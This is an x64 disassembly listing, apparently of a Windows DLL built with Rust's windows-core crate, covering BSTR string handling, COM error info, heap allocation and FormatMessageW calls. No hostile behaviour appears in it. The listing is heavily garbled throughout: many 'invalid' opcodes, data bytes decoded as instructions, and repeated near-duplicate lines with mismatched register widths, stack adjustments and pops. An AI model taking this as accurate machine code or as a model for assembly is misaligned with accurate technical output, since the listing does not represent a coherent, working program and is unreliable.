lea r15, [rsp + 0x68]
mov rcx, r15
stc
call fcn.180063a03
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
add ecx, dword [rax - 0x77]
mov rcx, rbx
invalid
push rax
mov rax, qword [rbx]
mov rcx, rbx
mov ecx, ebx
call qword [rax + 0x10]
adc byte [rcx - 0x75], cl
cmovns ecx, dword [rbx - 0x76b7f7a1]
mov ebx, dword [rdi + 8]
mov rdx, rbx
mov rcx, qword [r15]
mov rbx, qword [r15 + 8]
mov ebx, dword [rdi + 8]
mov ebx, dword [rdi + 8]
mov rdx, rbx
call fcn.180063a79
inc byte [rax]
add byte [rax], al
mov rbx, rax
lea rcx, [rsp + 0x40]
and al, 0x40
and al, 0x40
call 0x180063b65
call 0x180063b65
add byte [rax], al
mov rcx, r14
call fcn.180063b58
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov eax, dword [rdi]
mov rax, qword [rdi]
mov eax, dword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
mov rax, rbx
mov edx, esi
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
sub rsp, 0x30
mov rsi, rcx
lea rdx, [rsp + 0x28]
and qword [rdx], 0
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
test eax, eax
js 0x1800639d8
mov rcx, qword [rsp + 0x28]
test rcx, rcx
sub byte [rax - 0x7b], cl
leave
je 0x1800639ed
xor eax, eax
jmp 0x1800639f6
mov ecx, eax
call fcn.180063782
mov qword [rsi + 8], rax
mov dword [rsi + 0x10], edx
mov eax, 1
jmp 0x1800639fa
and dword [rsi + 0x10], 0
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsi + 8], rcx
or byte [rax - 0x77], r9b
invalid
mov qword [rsi], rax
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rsi
ret
adc byte [rax - 0x39], cl
invalid
or byte [rax], al
and dword [rsi + 0x10], 0
mov qword [rsi], 1
add rsp, 0x28
pop rdi
pop rsi
ret
in al, dx
cmp byte [rax - 0x77], cl
invalid
shr rax, 0x20
je 0x180063ae2
and qword [rsi + 8], 0
mov dword [rsi + 0x10], 0x80070057
jmp 0x180063b09
mov rbx, rdx
lea r14, [rsp + 0x20]
mov rcx, r14
mov edx, edi
call 0x180063c0e
add byte [rax], al
add byte [rax], al
cmp qword [r14], 0
mov rax, qword [r14 + 8]
add byte [rcx - 0x75], cl
or byte [rsp + r11 - 0x75], r14b
je 0x180063b1a
invalid
je 0x180063b1a
sbb al, 0x8b
mov ecx, dword [rsp + 0x30]
and al, 0x30
mov qword [rsi + 8], rax
mov dword [rsi + 0x10], ecx
invalid
invalid
or byte [rcx - 0x38b7efb2], cl
adc byte [rax - 0x39], r9b
mov qword [rsi], 1
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
add rsp, 0x38
pop rbx
pop rdi
pop rsi
invalid
pop r14
ret
add rdi, rdi
invalid
mov ecx, 1
xor edx, edx
cmp rdi, rdx
je case.0x18002bb9c.1060
sbb dword [rdi + rcx - 0x49], eax
add al, 0x13
invalid
movzx r8d, word [rbx + rdx]
adc ecx, dword [rbx + rcx*4 + 0x48]
adc byte [rsi + 0x45], ah
mov word [r9 + rdx], r8w
mov r9, qword [rax + 0x10]
mov word [r9 + rdx], r8w
mov dword [rax + 4], ecx
add rdx, 2
invalid
add al, 0x48
add edx, 2
invalid
add bh, bh
shr ebx, 0xe2
inc ecx
jmp 0x180063b24
mov rcx, qword [rax + 0x10]
mov edx, dword [rax + 4]
push rax
add al, 0x66
and dword [rcx + rdx*2], 0
push rcx
invalid
push rax
add al, 0x66
and dword [rcx + rdx*2], 0
push rcx
invalid
push rcx
add byte [rax - 0x77], cl
or byte [rax - 0x7d], r9b
add bl, ch
mov qword [rsi + 8], rax
and qword [rsi], 0
jmp 0x180063b10
invalid
mov eax, 0x74c98548
invalid
leave
je 0x180063b64
jmp qword [sym.imp.oleaut32.dll_SysFreeString]
add byte [rax], al
ret
sub rsp, 0x58
mov rax, rcx
mov rcx, qword [rcx]
mov ecx, dword [rcx]
mov ecx, dword [rcx]
test rcx, rcx
leave
je 0x180063bde
and qword [rax], 0
test byte [rcx], 1
add dword [rbp + 0x61], esi
add dword [rbp + 0x61], esi
mov eax, 0xffffffff
lock xadd dword [rcx + 0x18], eax
xor r8d, r8d
dec eax
setne r8b
mov edx, 0xff
cmovns edx, r8d
test dl, dl
je 0x180063bda
movzx edx, dl
cmp edx, 1
je 0x180063bda
lea rax, str.Object_has_been_over_released.
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
adc byte [rdi], cl
push rdi
ror byte [rdi], 0x11
sbb byte [r8 - 0x73], cl
adc eax, 0x1d8a3
adc byte [rdi], cl
push rdi
ror byte [rdi], 0x11
sbb byte [r8 - 0x73], cl
adc eax, 0x1d8a3
call fcn.180069750
test eax, eax
je 0x180063be3
add rsp, 0x58
ret
add rsp, 0x58
jmp 0x180063bec
push rsi
sub rsp, 0x20
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8, rsi
add rsp, 0x20
and byte [rsi + 0x48], bl
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
test byte [rax], al
invalid
and byte [rsi + 0x48], bl
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
test byte [rax], al
invalid
test byte [rax], al
add byte [rsi + 0x57], dl
push rbx
sub rsp, 0x20
mov edi, edx
mov rsi, rcx
mov eax, edx
lea rbx, [rax*2 + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test dword [rax], eax
add byte [rax - 0x7b], cl
invalid
je 0x180063c60
test dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rbx + riz + 0xf], 0x57
ror byte [rdi], 0x11
add byte [rdi], cl
adc dword [rax + 0x10], eax
invalid
invalid
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
invalid
invalid
adc byte [rcx + 0x40c70478], cl
sbb byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, eax
add rcx, 0x1c
mov qword [rax + 0x10], rcx
mov dword [rax + 4], edi
mov dword [rax + 0x18], 1
mov rcx, rax
mov ecx, eax
mov ecx, eax
add rcx, 0x1c
mov qword [rax + 0x10], rcx
xor ecx, ecx
jmp case.0x18002b117.1235
mov ecx, 0x8007000e
call fcn.180063782
mov dword [rsi + 0x10], edx
mov ecx, 1
add byte [rdi], al
sub al, 0x18
sti
invalid
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov dword [rsi], ecx
mov dword [rsi], ecx
add rsp, 0x20
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
ret
sub esp, 0x20
mov rsi, rcx
test edx, edx
sar byte [rax + 4], cl
sar byte [rax + 4], cl
xor eax, eax
jmp 0x180063ca4
mov ecx, edx
call fcn.180063782
mov qword [rsi + 8], rax
or byte [rcx + 0x1b81056], r9b
add byte [rax], al
add byte [rax], al
or byte [rcx + 0x1b81056], r9b
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rsi], rax
add rsp, 0x20
pop rsi
ret
mov dword [rsi + 4], r8d
xor eax, eax
jmp case.0x18002ac81.1259
mov edx, 0x48fffffa
mov dword [rsi + 8], eax
mov dword [rsi + 0x10], edx
mov eax, 1
mov dword [rsi], eax
add rsp, 0x20
and byte [rsi - 0x3d], bl
and byte [rsi - 0x3d], bl
mov rcx, qword [rcx]
mov ecx, dword [rcx]
mov ecx, dword [rcx]
test rcx, rcx
je 0x180063ceb
mov rax, qword [rcx]
jmp qword [rax + 0x10]
jmp qword [rax + 0x10]
jmp qword [rax + 0x10]
ret
add eax, 0xff000000
push rax
sbb byte [rax - 0x73], cl
and al, 0x70
add byte [rax], al
call qword [rax + 0x18]
lea rcx, [rsp + 0x70]
mov qword [rcx], rsi
mov dword [rcx], esi
mov byte [rcx + 8], al
or dh, al
or dword [r8], eax
mov byte [rcx + 9], 0
lea rsi, [rdi + 8]
lea rax, [0x1800814e0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
lea rdx, [0x1800814d6]
lea edx, [0x1800814d6]
mov r8d, 4
mov r9, rsi
int1
call fcn.180025f90
mov rcx, qword [rdi]
cmovs eax, dword [rbp - 0x397bf037]
add byte [rax], al
invalid
and dil, r12b
and bh, ah
dec dword [rax - 0x75]
cmovs eax, dword [rbp - 0x397bf037]
add byte [rax], al
mov byte [rax], 0
add byte [rax - 0x73], cl
jl 0x180063d83
lea rdi, [rsp + 0x40]
lea edi, [rsp + 0x40]
and qword [rdi], 0
and qword [rdi], 0
lea rbx, [rsp + 0x38]
pop rsp
and al, 0x38
and qword [rbx], 0
and dword [rbx], 0
lea r14, [rsp + 0x54]
and dword [r14], 0
lea r12, [rsp + 0x48]
lea esp, [rsp + 0x48]
lea esp, [rsp + 0x48]
and qword [r12], 0
mov rax, qword [rcx]
mov qword [rsp + 0x20], r12
mov rdx, rdi
mov edx, edi
mov edx, edi
mov r8, r14
mov r9, rbx
call qword [rax + 0x18]
lea r15, [rsp + 0x58]
mov rcx, r15
mov edx, eax
call fcn.180063c81
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
call fcn.180063a9a
cld
invalid
dec dword [rcx - 0x75]
or al, 0x24
call fcn.180063b58
invalid
cld
invalid
mov esi, dword [rsi]
cmp esi, dword [r14]
jne 0x180063e25
jne 0x180063e25
mov rcx, qword [rsp + 0x38]
call fcn.180063f60
add byte [rcx + 0x48c084c5], cl
cmovne ebx, edi
add byte [rcx + 0x48c084c5], cl
cmovne ebx, edi
fisttp word [rax - 0x75]
mov rdi, qword [rbx]
mov rcx, rdi
stc
cmp ecx, dword [rax - 0x77]
stc
call fcn.18006373f
mov rcx, rax
call 0x180063f74
add dword [rax], eax
add byte [rcx - 0x77], cl
ror byte [rax - 0x73], 1
je 0x180063e0f
pop rax
add dword [rax], eax
add byte [rcx - 0x77], cl
ror byte [rax - 0x73], 1
je 0x180063e0f
and al, 0x58
pop rax
mov rcx, rsi
mov rdx, rax
ret 0xb8e8
cld
invalid
dec dword [rax - 0x75]
invalid
mov rdx, qword [rsi + 8]
call fcn.180063a79
mov rsi, rax
ret 0xb8e8
invalid
dec dword [rax - 0x75]
invalid
mov rcx, rdi
mov ecx, edi
call fcn.180063b58
test bpl, bpl
inc dword [rax - 0x7c]
in eax, dx
test ch, ch
je 0x180063ea0
test byte [rcx + 0x48000000], cl
mov ecx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x38]
jmp 0x180063ea5
test byte [rax], al
add byte [rax], al
mov esi, dword [rsi]
jmp 0x180063e39
jmp 0x180063e39
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x38]
call fcn.180063b58
mov rcx, qword [rsp + 0x40]
dec dword [rax - 0x75]
and al, 0x40
call fcn.180063b58
std
invalid
lea rdi, [rsp + 0x48]
and al, 0x48
and qword [rdi], 0
and qword [rsp + 0x30], 0
xor byte [rax], al
xor byte [rax], al
mov qword [rsp + 0x20], rdi
and dword [rsp + 0x28], 0
add byte [rcx + 0x1300], bh
add byte [rcx + 0x1300], bh
xor edx, edx
mov r8d, esi
mov eax, esi
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
wait
invalid
add byte [rax], al
wait
invalid
mov rcx, qword [rdi]
mov edx, eax
call 0x180063f74
mov r8, rdx
lea rsi, [rsp + 0x58]
and al, 0x58
and al, 0x58
pop rax
mov rcx, rsi
mov rdx, rax
ret 0x2de8
cld
invalid
dec dword [rax - 0x75]
invalid
ret 0x2de8
mov rdx, qword [rsi + 8]
push rsi
or al, ch
invalid
call fcn.180063a79
mov rsi, rax
mov rcx, qword [rdi]
test rcx, rcx
leave
jmp 0x180063e87
sti
invalid
leave
je case.0x18001e8b0.1262
call 0x180063bec
jmp case.0x18001e8b0.1262
std
invalid
mov rcx, qword [rsp + 0x40]
call fcn.180063b58
scasb al, byte [rdi]
cld
invalid
lea rdi, [rsp + 0x58]
mov qword [rdi], rsi
lea rax, case.0x18000b703.1437
invalid
invalid
add dword [rax], eax
invalid
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rax - 0x73], cl
adc eax, 0x1d63b
cmp edx, esi
add dword [rax], eax
invalid
lea rdx, str.message
lea edx, str.message
cmp edx, esi
add dword [rax], eax
invalid
add byte [rax - 0x73], cl
je case.0x18002ac81.1277
lea rsi, [rsp + 0x70]
jo 0x180063f0c
mov r8d, 7
mov eax, 7
mov rcx, rsi
mov r9, rdi
call fcn.180025f90
mov ch, 0x20
cld
dec dword [rax - 0x77]
int1
mov ch, 0x20
cld
dec dword [rax - 0x77]
int1
call fcn.180027120
xor bh, ah
dec dword [rcx - 0x676b73d]
mov ebx, eax
mov rcx, rdi
stc
mov ebx, eax
mov rcx, rdi
stc
stc
call 0x180063b65
js case.0x18002ac81.1199
invalid
mov eax, ebx
add rsp, 0x80
add byte [rax], al
invalid
pop rbx
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop rsi
pop rsi
pop r15
ret
jmp 0x180063b65
cld
invalid
and al, 0x20
and al, 0x20
mov qword [rax], rcx
mov dword [rax], ecx
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov qword [rcx], rax
lea rax, [0x1800635ee]
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
mov dword [rcx + 8], eax
or byte [r8 - 0x73], cl
lea rax, [0x180081560]
add eax, 0x1d634
invalid
lea r8, [rsp + 0x38]
lea eax, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], 2
and qword [r8 + 0x20], 0
add byte [rcx - 0x39], cl
or byte [rdx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
mov qword [r8 + 0x10], rcx
mov dword [rax + 0x10], ecx
mov qword [r8 + 0x18], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
push rdx
invalid
sbb byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub al, ch
invalid
call fcn.1800635e4
nop
add rsp, 0x68
ret
mov dh, dh
invalid
dec dword [rax - 0x7b]
ror byte [rdi], 0x94
xchg esp, eax
xchg esp, eax
ror byte [rax - 0x7d], 0xc4
sub bl, al
mov r8, rdx
ror byte [rax - 0x77], 1
enter 0xffffffffffffb948, 0
add byte ds:[rax], al
add dword [rax], eax
add byte [rax], al
ror byte [rax - 0x77], 1
enter 0xffffffffffffb948, 0
add byte ds:[rax], al
add byte [rsi], bh
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rdx, r8
mov edx, eax
sub r8, 1
jb 0x180063f9f
movzx r9d, word [rax + r8*2]
cmp r9, 0x20
invalid
cmp r9, 0x20
and byte [rdi + 6], dh
ja 0x180063f9e
bt rcx, r9
jb 0x180063f84
ret
xor edx, edx
ret
push 0x24448d48
and byte [rax - 0x77], cl
lea rax, [rsp + 0x20]
lea eax, [rsp + 0x20]
and al, 0x20
mov qword [rax], rcx
lea rcx, [rsp + 0x28]
invalid
or byte [rax - 0x73], cl
and al, 0x28
invalid
sub byte [rax - 0x77], cl
add dword [rax - 0x73], ecx
add eax, 0xfffff59b
wait
cmc
invalid
invalid
mov qword [rcx], rax
mov dword [rcx], eax
lea rax, case.0x18001e8b0.1164
wait
cmc
invalid
mov qword [rcx + 8], rax
lea rax, [0x180081538]
lea eax, [0x180081538]
lea eax, [0x180081538]
add eax, 0x1d570
lea r8, [rsp + 0x38]
lea eax, [rsp + 0x38]
mov qword [r8], rax
mov dword [rax], eax
mov qword [r8 + 8], 2
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
mov dword [rax + 0x10], ecx
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
mov dword [rax + 0x10], ecx
mov qword [r8 + 0x18], 1
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.1800635e4
out dx, al
cmc
invalid
call qword [rax + 0x68c48348]
out dx, al
cmc
invalid
call qword [rax + 0x68c48348]
invalid
push 0x415741c3
push rsi
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
add byte [rax], al
add byte [rax], al
add byte [rax + 1], cl
retf 0x8d48
add rdx, rcx
lea rax, [rsp + 0x38]
mov qword [rax], rcx
mov dword [rax], ecx
or byte [rax - 0x77], cl
push rax
or byte [rsi - 0x7d], ah
mov qword [rax + 8], rdx
and word [rax + 0x10], 0
invalid
adc byte [rax], al
invalid
adc byte [rax], al
add byte [rax - 0x77], cl
shr eax, 0x57
mov rcx, rax
call case.0x180046113.1078
hlt
invalid
invalid
hlt
invalid
jmp qword [rsi - 0x7b]
test ax, ax
je case.0x18001c9bf.1253
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + 0x448966d3], cl
mov word [rsp + 0x2e], ax
mov ebx, edx
mov word [rsp + 0x2e], ax
and al, 0x2e
mov rax, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
sub rax, qword [rsp + 0x38]
sub eax, dword [rsp + 0x38]
movzx ecx, word [rsp + 0x48]
mov bh, 0x4c
and al, 0x48
and al, 0x48
add rax, 2
xor r14d, r14d
mov esi, 3
add eax, dword [rax]
add byte [rax], al
invalid
add al, byte [rbp + 0x31]
idiv byte [rsi + 3]
add eax, dword [rax]
add byte [rax], al
invalid
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rcx], dh
ror byte [rax - 9], cl
xor edx, edx
div rsi
mul byte [rsi - 0x7d]
stc
invalid
mul byte [rsi - 0x7d]
stc
add dword [rax - 0x7d], ecx
sbb rax, 0xffffffffffffffff
fdivr st(7)
dec dword [rax - 0x7d]
cmp rax, 4
cmp eax, 4
clc
add al, 0x48
cmovae rsi, rax
cmovae esi, eax
invalid
invalid
movabs rcx, 0x3ffffffffffffffe
invalid
lea r15, [rsi*2 + 2]
cmp al, 0x75
add al, byte [rax]
invalid
jne 0x18006407c
add byte [rax], al
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffaf
invalid
invalid
scasd eax, dword [rdi]
cmp rax, rcx
ja 0x180064235
xchg dword [rdi + 0x41000001], ebp
mov esi, 2
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x42], al
add al, byte [rax]
mov r14d, 2
add byte [rax], al
mov ecx, 2
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
call fcn.180063458
test rax, rax
test eax, eax
invalid
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
je 0x180064235
mov rdi, rax
test eax, eax
je 0x180064235
mov rdi, rax
inc rsi
inc esi
invalid
mov word [rax], bx
mov dword [rax], ebx
sbb byte [rax - 0x75], cl
mov rax, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
and al, 0x48
lea r15, [rsp + 0x80]
lea r15, [rsp + 0x80]
mov esp, 0x8024
add byte [rax], al
add byte [rcx - 0x77], cl
adc byte [r15], r9b
invalid
mov qword [r15 + 0x10], rax
movups xmm0, xmmword [rsp + 0x38]
adc byte [rsp + 0x38], al
movaps xmmword [r15], xmm0
movaps xmmword [rdi], xmm0
sub dword [rdi], eax
mov ebx, 1
add dword [rax], eax
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x77], 0x44
mov dword [rsp + 0x30], eax
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
and al, 0x30
mov r14d, 3
add byte [rax], al
add byte [rbp + rcx*4 + 0x64], cl
lea r12, [rsp + 0x50]
and al, 0x50
lea r13, [rsp + 0x68]
insb byte [rdi], dx
and al, 0x68
mov rcx, r15
mov ecx, edi
stc
call case.0x180046113.1078
cdq
invalid
invalid
jmp qword [rsi - 0x7d]
cmp ax, 1
cmp eax, 1
add dword [rdi], ecx
test dword [rax - 0x77000000], esi
mov al, 0
add byte [rax], al
invalid
jne 0x1800641a3
mov al, 0
add byte [rax], al
mov ebp, edx
cmp rbx, rsi
cmp ebx, esi
invalid
cmp ebx, esi
jne 0x180064197
cdq
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rax, qword [rsp + 0x88]
test byte [rax + rcx*4], ah
and al, 0x88
mov byte [rax], al
add byte [rax], al
add byte [rax + 0x2b], cl
test byte [rax + rax*4], ah
invalid
add byte [rax], al
sub rax, qword [rsp + 0x80]
and al, 0x80
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
rol byte [rdx], 0x31
xor edx, edx
invalid
invalid
add rax, 2
add eax, 2
xor edx, edx
div r14
mul byte [rsi - 0x7d]
mov esp, 0x9024
add byte [rcx], al
mul byte [rsi - 0x7d]
mov esp, 0x9024
and al, 0x90
add byte [rax], al
add byte [rcx], al
add dword [rax - 0x7d], ecx
fdivr st(7)
sbb rax, 0xffffffffffffffff
sbb eax, 0xffffffff
inc rax
inc eax
ror byte [rax + 1], 0xd8
add rax, rbx
add eax, ebx
jb 0x18006422b
add byte [rax], al
lea rcx, [rbx + rbx]
or al, 0x1b
mov rsi, rcx
mov esi, ecx
cmp rcx, rax
cmp ecx, eax
sal dword [rdi + 3], 0x48
ja 0x18006413f
mov rsi, rax
mov esi, eax
invalid
xor edx, edx
mov rax, rsi
mov eax, esi
shr rax, 0x3e
sete al
xchg esp, eax
invalid
call 0x1409a5089
sete al
xchg esp, eax
ror byte [rax - 0x7d], 0xfe
cmp esi, 5
jae 0x180064156
invalid
invalid
cmp rsi, 5
cmp esi, 5
inc byte [0x184c446c6]
jae 0x180064156
mov esi, 4
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
test rbx, rbx
test ebx, ebx
je 0x18006416c
adc dword [rax - 0x77], ecx
jl 0x180064183
invalid
mov qword [rsp + 0x68], rdi
and al, 0x68
push 0x244c8948
mov qword [rsp + 0x78], rcx
mov dword [rsp + 0x78], ecx
js 0x18006411f
mov ecx, 2
add al, byte [rax]
add byte [rax], al
jmp case.0x18001c9bf.1252
xor ecx, ecx
leave
lea r8, [rsi + rsi]
mov dl, al
mov dl, al
add edx, edx
mov qword [rsp + 0x70], rcx
mov rcx, r12
mov ecx, esp
jo case.0x18001e906.1236
mov ecx, esp
loope case.0x18004d727.124
mov r9, r13
mov ecx, ebp
jmp 0x17ff8906d
call fcn.1800633d4
cmp qword [rsp + 0x50], 0
jl 0x1800641ae
push rax
invalid
invalid
dec dword [rax - 0x7d]
jl 0x1800641ae
and al, 0x50
push rax
add byte [rdi], cl
test dword [rdx + 0x48000000], ecx
add byte [rax], al
mov rdi, qword [rsp + 0x58]
jne 0x18006421c
add byte [rax], al
add byte [rax - 0x75], cl
jl case.0x18001e906.1336
invalid
mov rdi, qword [rsp + 0x58]
and al, 0x58
pop rax
mov word [rdi + rbx*2], bp
sub al, 0x5f
inc rbx
inc ebx
ret
jmp 0x1800640e1
invalid
invalid
test rbx, rbx
invalid
je 0x1800641ec
mov rax, rbx
mov rax, rbx
mov eax, ebx
shr rax, 0x20
jne 0x180064240
mov eax, dword [rax]
add byte [rax], al
and byte [rdi], cl
test dword [rbx + 0x48000000], ecx
mov eax, dword [rax]
add byte [rax], al
mov rcx, rdi
mov eax, dword [rax]
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax], al
mov rcx, rdi
stc
mov edx, ebx
invalid
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
adc eax, 0x8200
add byte [rax], al
mov rbx, rax
mov ebx, eax
ret
mov rcx, rax
mov ecx, eax
shr eax, 0x95
call fcn.180063f60
std
invalid
inc dword [rax + rax*8 + 0xeb91f74]
test al, al
sal byte [rdi + rbx - 0x47], 0xe
je case.0x18000b703.1413
invalid
mov ecx, 0x8007000e
invalid
add byte [rdi], al
sub al, 0xa9
invalid
invalid
call fcn.180063782
test eax, 0x48fffff5
cmc
invalid
dec dword [rax - 0x77]
mov rdi, rax
mov edi, eax
invalid
mov esi, edx
invalid
mov rcx, rbx
call fcn.180063b58
jmp 0x180064247
pop rdi
xor ebx, ebx
fucomi st(3)
sbb dword [rcx], esi
jmp case.0x180047e31.306
xor ebx, ebx
fisttp dword [rdi]
movzx eax, word [rsp + 0x2e]
mov bh, 0x44
and al, 0x2e
test ax, ax
test ax, ax
test eax, eax
sal byte [rbp + rcx - 0x46], 2
add byte [rax], al
add byte [rax], al
invalid
invalid
je case.0x180047e31.306
mov edx, 2
add al, byte [rax]
add byte [rax], al
mov rcx, rdi
mov ecx, edi
stc
call fcn.18001b8e0
invalid
jbe case.0x18000b703.1332
dec dword [rax - 0x77]
mov rax, rbx
mov eax, ebx
fmul dword [rax - 0x7f]
invalid
add rsp, 0x98
add esp, 0x98
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rdi
ret
mov rax, qword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
and al, 0x58
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
and al, 0x30
xor byte [rax - 0x75], cl
push rsp
mov rdx, qword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
and al, 0x60
invalid
mov rcx, qword [rsp + 0x30]
and al, 0x30
xor al, ch
call fcn.180069600
retf
push rbx
add byte [rax], al
mov rcx, r14
mov rdx, r15
mov edx, edi
mov edx, edi
cli
call fcn.180069600
rcl byte [rbx], 0
push rbx
add byte [rax], al
invalid
add byte [rsi - 0x7ff8ffa9], bh
mov esi, 0x80070057
push rdi
add byte [rdi], al
xor byte [rcx], 0xff
xor edi, edi
xor edi, edi
dec dword [rbp + rcx*4 + 0x44]
lea r8, [rsp + 0x68]
and al, 0x68
mov qword [r8], rdi
mov dword [r8 + 8], esi
jo case.0x1800477d8.326
lea rax, str.registery_srcindex.crates.io_6f17d22bba15001fwindows_core_0.52.0_src_strings_bstr.rs
add eax, 0x1d37e
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and al, 0x20
lea rcx, [0x180081393]
sub eax, 0x4c0001d1
add dword [rax], eax
lea r9, [0x1800813c0]
lea ecx, [0x1800813c0]
or eax, 0x1d153
push rbx
rol dword [rcx], 1
invalid
add dword [rax], eax
add byte [rdx + 0x2b], bh
mov edx, 0x2b
add byte [rax], al
add al, ch
test eax, 0xcc000058
add byte [rax], al
int3
push rsi
call fcn.180069b20
add byte [rax], al
int3
sub rsp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x77], cl
invalid
invalid
mov rsi, rcx
mov esi, ecx
invalid
mov rcx, rdx
shr eax, 1
call fcn.18006373f
mov bh, 0xf4
hlt
invalid
mov r8, rdx
ror byte [rax - 0x77], 1
mov rcx, rsi
int1
mov rdx, rax
mov edx, eax
ret 0x8348
add rsp, 0x20
add esp, 0x20
invalid
pop rsi
jmp fcn.18001f860
mov ch, 0xfb
inc dword [rax - 0x7af0eec7]
adc dword [rdi], ecx
jne case.0x18004d727.321
test dword [rcx], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bl, al
ret
ret
movzx eax, byte [rcx]
cmp rax, 0xf
cmp eax, 0xf
cmp eax, 0xf
clc
emms
ja case.default.0x1800642bc
lea rdx, [0x180083664]
ja case.default.0x1800642bc
lea rdx, [0x180083664]
lea edx, [0x180083664]
add dword [rax], eax
movsxd rax, dword [rdx + rax*4]
invalid
add rax, rdx
add eax, edx
jmp rax
loopne case.0x1800579c5.254
ret
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
or byte [r8 - 0x75], cl
or byte [rax - 0x75], cl
mov rax, qword [rcx]
add dword [rax - 1], ecx
jmp qword [rax + 0x10]
invalid
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
or byte [r8 - 0x75], cl
mov rdx, qword [rcx + 0x10]
mov rcx, rax
push rcx
adc byte [rax - 0x77], cl
shr ecx, 9
invalid
or dword [rax], eax
invalid
jmp case.0x180046113.1274
or dword [rax], eax
add byte [rax], al
add byte [rax - 0x7d], cl
ror dword [rax], 0xe9
or cl, ch
add rcx, 8
or cl, ch
jmp case.0x180046f5f.345
invalid
add byte [rax], al
leave
je case.0x18004b336.312
adc byte [rax - 0x77], cl
sar byte [rdx + 1], 1
mov rax, rdx
mov edx, 1
mov rcx, rax
mov ecx, eax
shr ecx, 0xe8
jmp fcn.18001b8e0
jne 0x1800642f2
sti
inc ebx
ret
sub rsp, 0x20
mov rsi, rcx
call 0x180064317
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rsi]
mov ecx, dword [rsi]
invalid
mov rdx, qword [rsi + 8]
add rsp, 0x20
pop rsi
jmp case.0x18000b703.1294
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + 8]
or byte [r8 - 0x75], cl
push rcx
invalid
add byte [rax - 0x75], cl
or byte [r8 - 0x75], cl
push rcx
adc byte [rax - 0x77], cl
mov rcx, rax
jmp 0x180064344
add byte [rax], al
invalid
shr ecx, 0x1d
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
test rcx, rcx
test ecx, ecx
leave
je case.0x180046113.1193
invalid
mov rax, rdx
